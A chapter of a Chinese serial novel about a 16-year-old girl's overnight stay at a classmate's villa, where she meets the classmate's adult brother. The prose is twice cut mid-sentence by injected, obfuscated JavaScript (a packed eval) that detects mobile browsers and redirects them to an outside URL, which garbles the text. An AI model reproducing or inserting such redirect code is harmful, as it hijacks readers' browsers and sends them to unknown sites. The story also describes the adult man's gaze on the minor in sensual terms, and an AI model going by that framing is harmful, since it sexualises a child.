她在心里默默盘算,待明天中午生日聚会结束,就找理由提前离开,去学校附近找个小旅馆凑合一晚,等周日再回校。她太清楚,小旅馆不似大酒店,查身份证可紧可松。即便她未成年,小旅馆为了赚钱,不会拒绝一个长得纯善还单身一人的高二女生。 “夏燃?” 男人突然叫他。 夏燃缓缓抬起头来。 男人的眼睛在后视镜中淡淡凝望:“平时最喜欢吃什么?我叫人加菜。” 顾颜也侧头看她。 夏燃仔仔细细想了几秒,认认真真回答道:“鸡蛋羹。” 这个回答让车里人都有些意外,顾颜嗤了一声,司机弯了嘴角,男人的眼神也难得起了一丝波动:“哦,只是鸡蛋羹吗?” 夏燃点点头,又补充道:“最好能淋一勺酱油,再撒半把葱花,可以吗?” 她的认真配上她的神情,像在描述世界上最令人向往的美食。 小时候她总不喜欢吃白煮蛋,为了让她增加营养,徐阿秀就把鸡蛋隔水蒸成鸡蛋羹。 他们的视线又在后视镜里交错几秒。男人的眼睛安静了几秒,笑了。 “当然可以。” 两侧高架路灯与远处霓虹灯光一寸寸亮起来。 白天沉入了夜晚。 奔驰驶入一片地中海风格的纯别墅区,入口拱门前留有两百平空地,六匹石马依次排开飞扬健硕,中庭处立有一白色天鹅喷泉。保安向来车敬标准礼,门禁抬起,车沿着缓坡驶入大门。两侧香樟树和法国梧桐交错成拱,托斯卡纳式联排合院或独栋别墅在绿意深处半隐半现。莹莹月光筛过层层叠叠的枝叶,在车窗玻璃上洒下晃动的水波似的碎银。 随着门牌号等距离地变大,奔驰缓缓驶入一栋红瓦白墙独栋别墅的车库里。 他们下车,她也下车。 下车前,顾颜又朝夏燃脸上特意扫过一眼,她想看见对方脸上惊讶羡慕嫉妒的神色。 夏燃没有这般神色,经历这个动荡的夏天,已经很少有事物能让她表情波澜起伏了。 顾颜没有等到,心里失望,嘴角瘪了瘪。 夏燃站在别墅院子里,心突然地安静了。 她看见男人下车时,右手的黑色拐杖。 他很高,虽不及陆照也,但也是她需要仰头的水平。因为瘦,显得身材更是修长。当他安静等待时,白色衬衫西装裤在他身上穿出清冷的禁欲感。 但若仔细观察,当他走起路来,双腿却有略微的不协调,一高一低,不太明显。黑色手杖熟练地补平了他脚下的颠簸。 他其实可以不用手杖的,但他宁可用,也不想走成颠簸。 夏燃看到他拄拐的样子,肩膀莫名地放松了些。她也不知道自己为何会有这般微妙的变化。 可能她也脚下颠簸,用一根看不见的拐杖粉饰太平。 顾颜已经忘了刚才一瞬间的不快,蹦跶地从车库右边打开了别墅的侧门,屋里灯火通明。她脱掉鞋子,换上拖鞋,自顾自地走进屋去,嘴里喊着:“我要吃饭了,饿死我啦。” 男人回过头看夏燃。月光在他们的脸上安谧地流淌。 “小朋友,你的鸡蛋羹已经做好了,来吃吧。” 夏燃朝男人弯了眉眼:“谢谢顾颜哥哥。” 那是一个很特别的夜晚。夏燃跟他们哥妹俩吃了第一顿饭。加起来有六七百平的双层别墅中,除了一位住家保姆,只有他们三个人。房门基本都关上了,厨房和餐厅空荡荡,感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126782|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话都有回音。夏燃第一次发现住小房子的好处,安全,踏实,一眼望去一目了然。顾颜从出生时就习惯房子就是该大的,她可以在有自己回音的餐厅里一边吃饭一边扯着各类话题。男人吃饭时很安静,一勺一筷都优雅得要命,但他并不会指着妹妹说食不言寝不语之类的话,每每在她笑得开心时,给予及时的回应。夏燃也及时调整了自己,适应了环境,逐渐参与到话题中。 “夏燃?”顾颜见她吃完了面前的鸡蛋羹,突然问道,“你学校里也总吃鸡蛋羹,吃不腻啊?” 原本她在跟海子翔的日日午餐中,也注意到了自己吃什么。 夏燃看看鸡蛋羹,又看看顾颜,道:“嗯,吃不腻。” “我不信,难道一辈子只吃这一道菜不会腻吗?” 这话就有些极端了,吃一道菜吃不腻跟一辈子只吃一道菜,是两个概念。男人也不察觉地微微蹙了下眉。 但夏燃还是认认真真思考了一下:“若这道菜真是我喜欢吃的,那吃一辈子都不会腻。” 哥妹俩同时看向她,两个人的眼神都有些奇怪。 顾颜朝哥哥看去一眼,转动餐盘,夹了块笋干放进嘴里,待咽下后,缓缓说道:“我就不一样了,我喜欢尝试新鲜的东西,一个菜吃两三次就腻了,轮换着才行。” 说完,又补充道:“你跟我哥有点像。他也是总吃一道菜,不过是烧法不一样的菜。” 夏燃觉得这说法有点意思,她问:“什么菜?” 顾颜又朝男人看去一眼,见男人没出声阻止,道:“他喜欢吃小白菜,红烧的,白灼的,蒜蓉的,清蒸的。纯烧,或配些辅菜。总之核心得是小白菜。” 说完,抿着嘴压着声音笑。 夏燃总觉得她话里有话,一时也分辨不出什么意思。倒是男人,吃完了饭,轻轻将筷子放下,看向妹妹:“吃完饭去做作业吧,不要让老师再来找我了。” “知道啦。”顾颜不开心地撅了撅嘴,“我这辈子都没有遇见过作业这么多的学校,太剥削太压榨一个人的青春了。” 男人看了一眼夏燃,起了身:“我们都是这么过来的。” 他说他坐了十二个小时的飞机,有些累了,先回房休息了。待他走后,顾颜拉着夏燃进到二楼的客卧,说这是她这两天的房间。 “燃,你觉得我哥哥怎么样?” 夏燃觉得今晚顾颜的话一句比一句奇怪,很少人会问同学,你觉得我爸爸或者妈妈怎么样。 她只能说,看过去是个成功的商业精英,又说,比你大不少吧。 顾颜坐在床边休闲沙发上转圈。她说,她的哥哥二十七,比夏燃大十一岁而已,脚跛是因为年少时出了车祸受的伤。又说,他哥哥虽然腿脚不便,但依旧很受女生欢迎,追求他的女孩子可以从上海排到伦敦。 夏燃对她夸张的说话方式已经免疫。 两个女孩子面对面坐着说了会话,顾颜的手机铃声响起。她用的是最新款的苹果手机,手机壳白皙的如同窗外的月光。 “你先休息吧。”顾颜微微变了脸色,朝她抿嘴一笑,“明天见。” 门轻轻扣上,夏燃望着门锁的间隙,起身,关灯,目光在幽暗的房间里一点点清晰。 不大的四方卧室,自带一个露天的小阳台。美式胡桃木的床,宽宽大大占去大半间屋子。床单是杏子黄的底色,上点缀着紫色碎花和褐色藤蔓。月光从百叶窗的缝隙里漏进来,斜斜铺在被褥上,画出一线线明暗交错的条纹。水漾银光沿着白色牛皮床头向上蔓,拢住了墙上的少女画像。 少女十七八岁,穿着一条白色无袖过膝裙,松松地挽着低马尾,四肢纤细,趴在窗边,脸朝向窗外。 窗外是一片朦胧的灰绿色,似是清晨的雾,又像暮晚的烟。 夏燃的目光在少女背影上逗留许久,半晌后又从左到右,从上到下,一格格掠过整间卧室,待没有发现任何红点后,轻轻呼出了一口气。 16. 别墅 夏燃睡在陌生的床上。 梦里她穿过一条条街道,想,什么时候能拥有一套属于自己的房子呢。 不必太大,五十坪足矣。有客厅当然好,没有也没关系。一间通煤气的厨房,一间带窗的卫生间,一间有阳光的卧室和一个露天的阳台。卧室里放一张一米五的床,铺姜黄色的纯棉素色床单。左侧是通顶衣柜,右侧是书桌和书柜。都是旧木头的纹理,俯身可以听见森林的年轮。朝南。天晴的日子,金色阳光从窗外漫进来,波斯猫一般睡在被褥上。阳台最显眼处要放一盆绿植,也许是龟背竹,也许是绿萝,浇点水给点光就能绿意盎然,生生不息。 等年满十八周岁,她就把户口迁到房产证上。那时候,无论户口本还是房产证,两本红色硬挺挺的纸页里,国家会清清楚楚章敲下自己的名字。 喜欢的书永远能够住在书架上,墙壁可以刷成任意喜欢的颜色,攒了钱买最想要的家具,大门永远只为她想要的那个人打开。 那个人身披霞光,从日落大道上飞驰而来,叩响了她的房门。 她的心跟着敲门声一起笑起来。 手指尖已经落在门把手上,眼皮却突然跳了一拍,似钢琴弹错了黑白键。 过往的生活把她塑造成一个周全的人。她的笑容冻在嘴角,目光移向猫眼。 脚下瓷砖突然崩塌,猫眼扭曲拉长成无尽隧道,隧道最远处有一点光。 光极小,却极亮,像太阳耀斑的爆发。她被那道光刺中了眼,下意识背过身去闭紧双眼。待感觉到光散尽后,她转过身,一张令人毛骨悚然的脸在她一厘米的身后。那张脸上眼睑浮肿,眼尾下吊,高颧骨,鹰钩鼻,带一张凉薄的唇。 夏燃近乎呕吐般醒来,汗水沿着脖颈一滴滴坠入衣领。 枕头上还留有身体的温度,她昨夜没开空调,九月的清晨闷热潮湿,搅得发丝如粘液涟漪在脸庞边。 缓了好久,她才平复完心情。拿过床头手机,屏幕显示五点刚过二十五分。 也许是梦境太真,也许是心绪难平,她急需一剂解药抚平心中的恐惧。 照例习惯性点开了陆照也的微信对话框。 “你能来看看我吗?” 她没打算把这条微信发出去,打完字后捏着手机靠住床头,微阖着双目发呆。 完全陌生的环境总让人有一种不知今夕是何夕的恍惚感,她在这份恍惚中忘记了删除输入框里的文字。 等她反应过来时,手指不知何时点中了发送,信息已经撤不回了。 …… 在要不要赶紧补充几句挽救下,或假装自己其实发错了对象之间,她选择了承认。 就这样吧,她鼓励自己勇敢一点,看看他会怎么回。 下床拉开窗帘,窗外天色依旧朦胧,月在云间淡成光雾。 她身上穿一件宽松的中袖长裙睡衣,真丝,不透,月白色,滑凉如水。睡过一夜,真丝面料像浸湿又风干的宣纸,皱了两面,贴在内里白色棉布胸罩上。 睡衣是昨晚顾颜拿来的,说是新的,过过水,又叫保姆把她换下来湿了汗的校服拿去洗了。她本还要拉夏燃去她衣帽间里挑今天的衣服。说也奇怪,单独占一间卧室大小的衣帽间里,衣服却并不多,且都是夏秋款式,冬款如冬天尚未入场。三分之二的衣服上挂着吊牌,染着香薰蜡片的玫瑰芬芳。 夏燃能看出来顾颜更是想炫耀她的衣柜。她听保姆说家里有烘干机,便笑着说等校服烘干了穿校服便是。更何况她们身型不太一样,夏燃要瘦许多。 听她这么说,顾颜也没有再勉强,只是眯了眯眼,一侧嘴角向上捏成短短一线,眼神里再次闪过一道古怪的神色。 那道神色转瞬即逝,但还是被夏燃捕捉到了。 很难描述的神情。仿佛,顾颜既嫌弃她,又嫉妒她。既喜欢她,又厌恶她。 如果顾颜没有露出这种神情,夏燃只会觉得她热情好客,而自己小心翼翼瞻前顾后的心态属实是小人举动了。 可是……夏燃不想再想太多,思考令人疲倦。无论顾颜露出什么神色,总之今天聚会结束,她就要回去了。她本就是来祝她生日快乐的。生日是被爱的人一日的限定狂欢。 怀着这个念头,她趁所有人都仍在熟睡时,试图静音了脚步下楼寻找洗手间。二楼的房门都关着,看过去都是卧室,她唯一知道的卫生间在一楼。打开房门之前,她在客房里又转了一圈,试图找一件可以披挡住睡衣的外套。她什么也没找到。 别墅装有夜灯,暖金色的光晕沿着踢脚线夕阳一般漫过无人的走廊。脚上绸缎拖鞋牛皮底大概就比树皮厚些,踩在地板上,甚至能品出木纹的脉络。她不自觉地收紧了力道,但鞋底与地板相遇时仍不免发出哒啦一声轻响,在这沉默的黎明发出刺耳的微颤。夏燃唯恐惊扰了卧室里熟睡的人,干脆把拖鞋提在手里,光着脚摩挲着地板,扶着墙壁,沿着光圈一格格下行。 待到了一楼,环顾四周,偌大如酒店大堂般的客厅空空荡荡,一半溺于月色中,一半醒着等朝阳。夏燃在心里感叹,若兄妹从小在这里长大,玩捉迷藏的游戏足以消耗掉他们一整天的光阴。 她的视线投向客厅的右前方,那里是餐厅。餐厅门外是院子。院子里侧是客用卫生间。 客厅与餐厅隔着一道胡桃木拱形双开门,门上长虹玻璃亮着薄薄的一层月色。 她重新穿好拖鞋,双手按在裙摆两侧,牛皮底在瓷砖上精密地控制住哒哒声,如夜色里的钟摆。 双开木门轻拢着,她伸出手,朝前推开—— 四目相对,针落可闻。 夏燃倒吸一口气,整个人像受惊炸毛的猫一样双眼募得睁大,脚步惯性朝前小迈出一步,又冰冻般僵硬收回原地。 餐厅不亮灯。男人坐在圆桌靠窗位置上,面前是笔记本电脑散发的薄霜一般的蓝光,背后窗外是即将破晓的雾红晨光。从这个角度看过去,他脸上浮着各色的光,衬得唇色更白,石膏像一般。 黑色碳素手杖放在他的右手边,他的眼睛从屏幕背后直直看向她,暗沉幽静,深藏不露。从昨天他吃好饭回卧室休息后,他们就没有再见过。 她身上的那件真丝长裙睡衣,是他去年在巴黎出差时买给顾颜的。顾颜觉得款式有些老气了,跟她气质不相匹配,一直没穿,却意外的合适夏燃。少女的身体像乳白色的牛奶融化在羊脂玉的茶杯里,柔软、干净、纯洁。身后是空旷寂寞的无人客厅。 “不好意思,吓到你了小朋友。”他盯着她,弯起唇角,“起得这么早?” 他的凝视让她产生了一种滚针滚过皮肤的耸立刺觉。 夏燃下意识右手按在胸口上,尴尬又礼貌地回应:“顾颜哥哥早上好,我是来找洗手间的。” 他向洗手间方向指了指:“去吧。”又把眼神自然地收回屏幕里。夏燃匆匆扫过一眼,只见天色在他身后一点点泛出晕染过江河色的鱼肚白。 她移开视线,屏气上完洗手间,心下疑惑别墅这么多房间,他起来工作这般早,不待卧室也可以待书房,何必要坐在餐厅里,还不开灯。鬼气森森。 洗干净手,对着镜子调整好睡衣,尽量隐身一般走出来。 “顾颜哥哥,那我先回去了。”她的脸上已经挂好了前台标准的微笑。两个人在一个空间,一言不发离开太不礼貌,总归她是客,他又比她大十一岁,是长辈。说完,目光往双开门方向望去,明显是要离开的意思。 男人见她刚才还大惊失色,身体语言拘谨又无措,转眼之间就淡定如常,心里微微起了波澜。 他的目光从屏幕里露出来:“昨晚睡得还习惯吗?” 见他起了话头,她只能无奈收住脚步,点头:“习惯的,睡得很好呢。” 是实话。一般像这种美式装修,床配的都是高密弹簧的席梦思,可夏燃睡不了软床。 他说:“我还以为你会睡不惯,那张床挺硬的。” 她说:“硬的对脊椎好,我地板上铺张褥子就能睡。” 他有些意外:“像你这样的挺少的,现在女生们不都喜欢软床?” 一个反问句,需要人接上。 夏燃想了想说:“这我不太清楚,没做过调研。我只是觉得,大部分学生是没得选的,父母买的什么床,就睡什么床。睡久了,就习惯了。” 男人若有所思地看着她。 “是习惯,还是以为习惯?” 她答得认真:“两者都有吧,混合在一起,本就很难分清。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126783|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习惯是可以改的。”他低声笑。 “坏习惯改掉。”她接道,“好习惯一直保持。” 微妙的感觉,像在聊哲学。 她清清嗓子,觉得有些中二了,正准备开口说我先回去了,却听他突然说道:“我叫顾桐。” 她愣怔,不知道顾颜哥哥怎么突然就自报名字。 “以后叫我顾桐就行,或者哥哥,念两个字要比四个字效率提高一倍。” 夏燃乖乖点头,继续标准微笑:“好的,哥哥。” 他没再拦她,只是目送着她转身离开的纤瘦背影。她心有感应,如芒在背。 每走一步,天色就多一份亮。保姆天亮时起床,开始准备午餐。顾颜预约了派对公司的人,过来简单地布置了客厅,在角落里放上五颜六色的气球和鲜花。十点过后,她的朋友们一个个按响了门铃。除了海子翔外,其余都是女孩子。高矮胖瘦,一个个都是十七八岁最青春的模样,带来包装精美的礼物。夏燃本以为她们都是她小学到高一时的同学,后与她们聊天时才发现,她们不是在暑期培训班里认识的,就是旅途中认识的朋友。 顾颜正跟女孩子们聊八卦聊得不亦乐乎,把校草男朋友凉在了一边。顾桐一早就从餐厅里消失,车库里的车也不见了,把空间全部留给妹妹。 海子翔漫不经心在别墅里外转过一圈,过来找他唯二面熟且同样落单的人。 “这次模拟考你考的怎么样?”他拿了一瓶软饮递给夏燃,“文科数学卷是不是简单一点?” 夏燃已经换回了校服,而聊学习是好学生之间最熟悉的话题。 他们俩坐在客厅沙发上,中间隔着海峡两岸的距离,满脸客气地就模拟考的试卷内容和老师的讲课质量有一搭没一搭地聊着天。过了一会儿,海子翔扫过正在院子里大声欢笑的女生们一眼,身子往夏燃方向挪了几步,压低声音道:“你看到过她哥哥了吗?” 夏燃点点头,她今早刚见过。 “他在这里?顾颜刚刚还说她哥哥不在。” 夏燃顿了一下,道:“应该出去了吧,车库里车子开走了。” 他遗憾地叹了一声,又问:“她哥哥长什么样?” 夏燃故意说:“两个眼睛一个鼻子一张嘴。” 海子翔又往顾颜方向看一眼:“没开玩笑,你知道她哥哥是什么人吗?” 夏燃摇头,她说她没问过,顾颜也没介绍过。 海子翔睨她,声音压得更神秘:“加密数字货币听说过吗?创世区块,区块链,挖矿,P2P?” 夏燃冷静地说:“超出学校知识之外了,你对这个有研究?” 海子翔年纪轻轻语气却突然沉重:“我们每天披星戴月两耳不闻窗外事地学,等毕业出来找到工作,一年赚的钱不如加密货币投资者手指动一动。他哥哥从事的事业,是人类历史上速度前所未有的财富重新洗牌!” 夏燃对这些词汇一无所知,只觉得听过去像股票或者期货。她昨天车里听顾颜兄妹俩对话,以为顾桐是做外贸之类的需要参展。但关于海子翔的话,她个人认为他说的不对。 她淡声道:“人类历史上速度前所未有的财富重新洗牌,难道不是一个国家对另一个国家的侵略战争,一个民族对另一个民族的种族灭绝,一个阶层对另一个阶层的权力剥夺吗?” 高中简直是一个人知识容量之集大成阶段。 海子翔气哼一声:“现在还能打仗吗?军事上的难乎其难!现在这个时代是经济上的侵略与掠夺。你等着看吧,加密货币虽然才刚刚新起,但未来一定会是世界级的潮流趋势。” 夏燃反问:“你怎么知道的?” 海子翔抖了抖腿,得意道:“我舅舅是金融从业者,站在行业的最前沿。” 他浓眉大眼,确实是很好的皮囊,跟顾桐眉眼之间有三分像,可惜抖腿得瑟的样子大大衰减了他的人格魅力。 夏燃有一种直觉,他跟顾颜走不长。 当然她什么都没说,直觉也在告诉她,顾颜虽然跟女生们正玩着,但眼神一直往他们地方瞟。 这时校服口袋里的手机震动了一下。她拿起来,看到微信里唯一的头像发来一条信息。 “我到明城了,要出来见见我吗?”